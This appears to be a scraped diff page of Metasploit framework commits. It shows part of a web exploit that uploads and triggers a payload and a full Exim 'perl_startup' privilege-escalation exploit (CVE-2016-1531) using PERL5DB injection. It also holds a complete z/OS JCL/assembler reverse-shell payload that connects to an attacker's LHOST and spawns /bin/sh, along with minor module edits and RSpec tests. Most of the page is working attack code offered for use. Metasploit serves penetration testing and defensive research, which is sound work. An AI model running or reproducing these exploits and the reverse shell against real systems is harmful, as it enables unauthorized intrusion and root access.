||||
'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle],
|
||||
'data' => post_data)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
end
|
||||
|
||||
if res.code && res.code == 200
|
||||
print_good('Payload uploaded successfully')
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to upload payload')
|
||||
end
|
||||
|
||||
# execute payload
|
||||
res = send_request_cgi('uri' => normalize_uri('tmp', fname))
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
end
|
||||
|
||||
if res.code && res.code == 200
|
||||
print_good('Payload executed successfully')
|
||||
elsif res.code && res.code == 404
|
||||
fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to execute payload')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Exim "perl_startup" Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a Perl injection vulnerability in Exim < 4.86.2
|
||||
given the presence of the "perl_startup" configuration parameter.
|
||||
},
|
||||
'Author' => [
|
||||
'Dawid Golunski', # Vulnerability discovery
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
%w{CVE 2016-1531},
|
||||
%w{EDB 39549},
|
||||
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'SessionTypes' => %w{shell meterpreter},
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'BadChars' => "\x22\x27", # " and '
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Exim < 4.86.2', {}]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
if exploit('whoami') == 'root'
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit(c = payload.encoded)
|
||||
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
|
||||
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
|
||||
end
|
||||
|
||||
end
|
|
@ -53,7 +53,7 @@ class MetasploitModule < Msf::Nop
|
|||
0xe1a0b00b
|
||||
]
|
||||
|
||||
if( random and random.match(/^(t|y|1)/i) )
|
||||
if random
|
||||
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# This is a prototype JCL command payload for z/OS - mainframe.
|
||||
# It submits the IEFBR14 standard z/OS program, which does nothing
|
||||
# but complete successfully and return code 0.
|
||||
#
|
||||
# See http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ieab500/hpropr.htm?lang=en
|
||||
# for more information on IEFBR14
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/find_shell'
|
||||
require 'msf/base/sessions/mainframe_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Generic JCL Test for Mainframe Exploits',
|
||||
'Description' => 'Provide JCL which can be used to submit
|
||||
a job to JES2 on z/OS which will exit and return 0. This
|
||||
can be used as a template for other JCL based payloads',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
##
|
||||
# Construct the paload
|
||||
##
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
##
|
||||
# Build the command string for JCL submission
|
||||
##
|
||||
def command_string
|
||||
return "//DUMMY JOB (MFUSER),'dummy job',\n" +
|
||||
"// NOTIFY=&SYSUID,\n" +
|
||||
"// MSGCLASS=H,\n" +
|
||||
"// MSGLEVEL=(1,1),\n" +
|
||||
"// REGION=0M\n" +
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,254 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
# This payload has no ebcdic<->ascii translator built in.
|
||||
# Therefore it must use a shell which does, like mainframe_shell
|
||||
#
|
||||
# this payload will spawn a reverse shell from z/os, when submitted
|
||||
# on the system as JCL to JES2
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/mainframe_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
|
||||
'Description' => 'Provide JCL which creates a reverse shell
|
||||
This implmentation does not include ebcdic character translation,
|
||||
so a client with translation capabilities is required. MSF handles
|
||||
this automatically.',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x1b29, 'custom' ],
|
||||
'LPORT' => [ 0x1b25, 'custom' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"//REVSHL JOB (USER),'Reverse shell jcl',\n" +
|
||||
"// NOTIFY=&SYSUID,\n" +
|
||||
"// MSGCLASS=H,\n" +
|
||||
"// MSGLEVEL=(1,1),\n" +
|
||||
"// REGION=0M\n" +
|
||||
"//**************************************/\n" +
|
||||
"//* Generates reverse shell */\n" +
|
||||
"//**************************************/\n" +
|
||||
"//*\n" +
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" +
|
||||
"//SYSIN DD *,DLM=ZZ\n" +
|
||||
" TITLE 'z/os Reverse Shell'\n" +
|
||||
"NEWREV CSECT\n" +
|
||||
"NEWREV AMODE 31\n" +
|
||||
"NEWREV RMODE 31\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* SETUP registers and save areas *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"MAIN LR 7,15 # R7 is base register\n" +
|
||||
" NILH 7,X'1FFF' # ensure local address\n" +
|
||||
" USING MAIN,0 # R8 for addressability\n" +
|
||||
" DS 0H # halfword boundaries\n" +
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" +
|
||||
" XC 0(204,1),0(1) # clear zero area\n" +
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" +
|
||||
" LHI 8,8 # R8 has static 8\n" +
|
||||
" LHI 9,1 # R9 has static 1\n" +
|
||||
" LHI 10,2 # R10 has static 2\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1SOC set up socket *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" +
|
||||
" LA 3,8 # n parms\n" +
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" +
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" +
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" +
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1CON (connect) connect to rmt host *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" +
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" +
|
||||
"*** main processing **\n" +
|
||||
" LA 1,SSTR(7) # packed socket string\n" +
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" +
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" +
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" +
|
||||
" LA 3,6 # n parms for func call\n" +
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"*************************************************\n" +
|
||||
"* Preparte the child pid we'll spawn *\n" +
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" +
|
||||
"* 1) dupe parent read fd to std input *\n" +
|
||||
"*************************************************\n" +
|
||||
" LHI 11,2 # Loop Counter R11=2\n" +
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" +
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" +
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" +
|
||||
"******************************************\n" +
|
||||
"**** load array of addr and constants ***\n" +
|
||||
"******************************************\n" +
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" +
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" +
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" +
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" +
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" +
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" +
|
||||
"**************************************************************\n" +
|
||||
"*** call the exec function the normal way ********************\n" +
|
||||
"**************************************************************\n" +
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" +
|
||||
" LA 3,13 # n parms\n" +
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" +
|
||||
"***********************************************************************\n" +
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" +
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" +
|
||||
" L 5,CLIFD(7) # client file descriptor\n" +
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" +
|
||||
" ST 11,@ARG(7) # fd to clone\n" +
|
||||
" LA 3,6 # n parms\n" +
|
||||
" LA 5,@FFD(7) # src parm list addr\n" +
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" +
|
||||
" BASR 14,15 # Branch to load & run\n" +
|
||||
" BRC 15,@RET1 # Return to caller\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* LOAD and run R0=func name, R3=n parms *\n" +
|
||||
"* R5 = src parm list *\n" +
|
||||
"***********************************************************************\n" +
|
||||
"CLORUN ST 14,8(,13) # store ret address\n" +
|
||||
" XR 1,1 # zero R1\n" +
|
||||
" SVC 8 # get func call addr for R0\n" +
|
||||
" ST 0,12(13) # Store returned addr in our SA\n" +
|
||||
" L 15,12(13) # Load func addr into R15\n" +
|
||||
" LHI 6,20 # offset from SA of first parm\n" +
|
||||
" LA 1,0(6,13) # start of dest parm list\n" +
|
||||
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" +
|
||||
" AHI 3,-1 # decrement # parm\n" +
|
||||
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" +
|
||||
"@RETX AHI 6,4 # increment dest parm addr\n" +
|
||||
" AHI 5,4 # increment src parm addr\n" +
|
||||
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" +
|
||||
" LA 5,0(6,13)\n" +
|
||||
" AHI 5,-4\n" +
|
||||
" OI 0(5),X'80' # last parm first bit high\n" +
|
||||
"@FIN1 BALR 14,15 # call function\n" +
|
||||
" L 14,8(,13) # set up return address\n" +
|
||||
" BCR 15,14 # return to caller\n" +
|
||||
"@FIX AHI 5,4 # need extra byte skipped for exec\n" +
|
||||
" BRC 15,@RETX\n" +
|
||||
"\n" +
|
||||
"***********************************************************************\n" +
|
||||
"* Arg Arrays, Constants and Save Area *\n" +
|
||||
"***********************************************************************\n" +
|
||||
" DS 0F\n" +
|
||||
"*************************\n" +
|
||||
"**** Func Names ****\n" +
|
||||
"*************************\n" +
|
||||
"@@F1 DC CL8'BPX1SOC '\n" +
|
||||
"@@F2 DC CL8'BPX1CON '\n" +
|
||||
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" +
|
||||
"@@FC1 DC CL8'BPX1FCT '\n" +
|
||||
"* # BPX1EXC Constants\n" +
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" +
|
||||
"* # BPX1CON Constants\n" +
|
||||
"SSTR DC X'100202PPPPaaaaaaaa'\n" +
|
||||
"* # BPX1EXC Arguments\n" +
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" +
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" +
|
||||
"EXCMD DC CL7'/bin/sh' # command to exec\n" +
|
||||
"*********************************************************************\n" +
|
||||
"******* Below this line is filled in runtime, but at compile ********\n" +
|
||||
"******* is all zeroes, so it can be dropped from the shell- *********\n" +
|
||||
"******* code as it will be dynamically added back and the ***********\n" +
|
||||
"******* offsets are already calulated in the code *******************\n" +
|
||||
"*********************************************************************\n" +
|
||||
"ZEROES DS 0F # 51 4 byte slots\n" +
|
||||
"EXARGC DC F'0' # num of arguments\n" +
|
||||
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" +
|
||||
"EXARG1L DC F'0' # arg1 length\n" +
|
||||
"* # BPX1FCT Arguments\n" +
|
||||
"@FFD DC F'0' # file descriptor\n" +
|
||||
"@ACT DC F'0' # fnctl action\n" +
|
||||
"@ARG DC F'0' # argument to fnctl\n" +
|
||||
"@RETFD DC F'0' # fd return\n" +
|
||||
"FR1 DC F'0' # rtn code\n" +
|
||||
"FR2 DC F'0' # rsn code\n" +
|
||||
"* # BPX1SOC Arguments\n" +
|
||||
"DOM DC F'0' # AF_INET = 2\n" +
|
||||
"TYPE DC F'0' # sock stream = 1\n" +
|
||||
"PROTO DC F'0' # protocol ip = 0\n" +
|
||||
"DIM DC F'0' # dim_sock = 1\n" +
|
||||
"CLIFD DC F'0' # client file descriptor\n" +
|
||||
"SR1 DC F'0' # rtn val\n" +
|
||||
"SR2 DC F'0' # rtn code\n" +
|
||||
"SR3 DC F'0' # rsn code\n" +
|
||||
"* # BPX1CON Arguments\n" +
|
||||
"CLIFD2 DC F'0' # CLIFD\n" +
|
||||
"SOCKLEN DC F'0' # length of Sock Struct\n" +
|
||||
"SRVSKT DC XL2'0000' # srv socket struct\n" +
|
||||
" DC XL2'0000' # port\n" +
|
||||
" DC XL4'00000000' # RHOST 0.0.0.0\n" +
|
||||
"CR1 DC F'0' # rtn val\n" +
|
||||
"CR2 DC F'0' # rtn code\n" +
|
||||
"CR3 DC F'0' # rsn code\n" +
|
||||
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" +
|
||||
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" +
|
||||
" END MAIN\n" +
|
||||
"ZZ\n" +
|
||||
"//*\n"
|
||||
}))
|
||||
end
|
||||
# replace our own LPORT/LHOST
|
||||
def replace_var(raw, name, offset, pack)
|
||||
super
|
||||
if( name == 'LHOST' and datastore[name] )
|
||||
val = Rex::Socket.resolv_nbo(datastore[name])
|
||||
val = val.unpack("H*")[0]
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
elsif(name == 'LPORT' and datastore[name] )
|
||||
val = datastore[name]
|
||||
val = val.to_s(16).rjust(4,'0')
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
|
@ -162,11 +162,9 @@ class MetasploitModule < Msf::Post
|
|||
def is_routable?(route)
|
||||
if route.subnet =~ /^224\.|127\./
|
||||
return false
|
||||
elsif route.subnet =~ /[\d\.]+\.0$/
|
||||
return false
|
||||
elsif route.subnet == '0.0.0.0'
|
||||
return false
|
||||
elsif route.subnet == '255.255.255.255'
|
||||
elsif route.netmask == '255.255.255.255'
|
||||
return false
|
||||
end
|
||||
|
||||
|
|
|
@ -398,6 +398,26 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'bsdi/x86/shell_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'cmd/mainframe/generic_jcl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/mainframe/generic_jcl'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/mainframe/generic_jcl'
|
||||
end
|
||||
|
||||
context 'cmd/mainframe/reverse_shell_jcl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/mainframe/reverse_shell_jcl'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/mainframe/reverse_shell_jcl'
|
||||
end
|
||||
|
||||
context 'cmd/unix/bind_awk' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue